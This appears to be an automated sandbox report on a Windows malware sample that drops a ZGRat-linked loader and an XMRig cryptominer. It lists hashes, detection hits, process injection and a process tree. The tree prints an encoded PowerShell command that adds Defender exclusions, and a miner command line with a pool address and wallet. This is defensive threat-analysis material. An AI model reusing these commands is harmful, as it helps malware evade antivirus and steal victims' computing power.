Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
05/03/2024, 19:43
Static task
static1
Behavioral task
behavioral1
Sample
Oosuddwyn.exe
Resource
win7-20240221-en
General
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Target
Oosuddwyn.exe
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Size
632KB
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MD5
52534fd1e093915e22390441c70b6c23
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SHA1
85e9d63b07aa567c506fc01292e14017e336b979
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SHA256
224a4f5de098684e12b95521f9015f642357581c70c8b9702ca325c581e7fb88
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SHA512
81a15465ba42e0cb24325b38e9c6a50d37db2e0e5eeca6528e1af67c9b33d53f043d60f6b6c38f15cbeebafca405c97edc4bc9928b2ddc0d642cf5c07cbdf73c
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SSDEEP
12288:Ifefc5kDfVu/z20sPb8WF+dDmVvHEKciPBIaoa66n7VjhTPO5FFFJ:I+ZVaz298WtVvkKcoBDovYhjhTPO5Fb
Malware Config
Signatures
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Detect ZGRat V1 1 IoCs
resource yara_rule behavioral2/memory/960-1-0x00000222FC040000-0x00000222FC142000-memory.dmp family_zgrat_v1 -
XMRig Miner payload 12 IoCs
resource yara_rule behavioral2/memory/4176-42-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/4176-43-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/4176-44-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/4176-46-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/4176-47-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/4176-48-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/4176-49-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/4176-50-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/4176-51-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/4176-53-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/4176-54-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig behavioral2/memory/4176-55-0x0000000140000000-0x00000001407CF000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 3784 TypeId.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3784 set thread context of 3116 3784 TypeId.exe 101 PID 3116 set thread context of 4176 3116 RegSvcs.exe 106 -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 884 powershell.exe 884 powershell.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe 3116 RegSvcs.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 960 Oosuddwyn.exe Token: SeDebugPrivilege 884 powershell.exe Token: SeDebugPrivilege 3784 TypeId.exe Token: SeDebugPrivilege 3116 RegSvcs.exe Token: SeLockMemoryPrivilege 4176 AddInProcess.exe Token: SeLockMemoryPrivilege 4176 AddInProcess.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4176 AddInProcess.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3784 wrote to memory of 3116 3784 TypeId.exe 101 PID 3784 wrote to memory of 3116 3784 TypeId.exe 101 PID 3784 wrote to memory of 3116 3784 TypeId.exe 101 PID 3784 wrote to memory of 3116 3784 TypeId.exe 101 PID 3784 wrote to memory of 3116 3784 TypeId.exe 101 PID 3784 wrote to memory of 3116 3784 TypeId.exe 101 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 PID 3116 wrote to memory of 4176 3116 RegSvcs.exe 106 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\Oosuddwyn.exe"C:\Users\Admin\AppData\Local\Temp\Oosuddwyn.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:960
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwByAGEAcABwAGUAZABPAGIAagBlAGMAdABcAFQAeQBwAGUASQBkAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAHIAYQBwAHAAZQBkAE8AYgBqAGUAYwB0AFwAVAB5AHAAZQBJAGQALgBlAHgAZQA=1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:884
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C:\Users\Admin\AppData\Roaming\WrappedObject\TypeId.exeC:\Users\Admin\AppData\Roaming\WrappedObject\TypeId.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3784 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3116 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 62.133.61.188:8383 -u 44K2HL2woi2893k79NHDxhSdmL8vLcCcDX5HDn2F3d7fGrUkkCcQutFNXM5FtKq8SKUEjnCioyXVgNqSRMHUC9qX268CRGw.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=503⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4176
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
632KB
MD552534fd1e093915e22390441c70b6c23
SHA185e9d63b07aa567c506fc01292e14017e336b979
SHA256224a4f5de098684e12b95521f9015f642357581c70c8b9702ca325c581e7fb88
SHA51281a15465ba42e0cb24325b38e9c6a50d37db2e0e5eeca6528e1af67c9b33d53f043d60f6b6c38f15cbeebafca405c97edc4bc9928b2ddc0d642cf5c07cbdf73c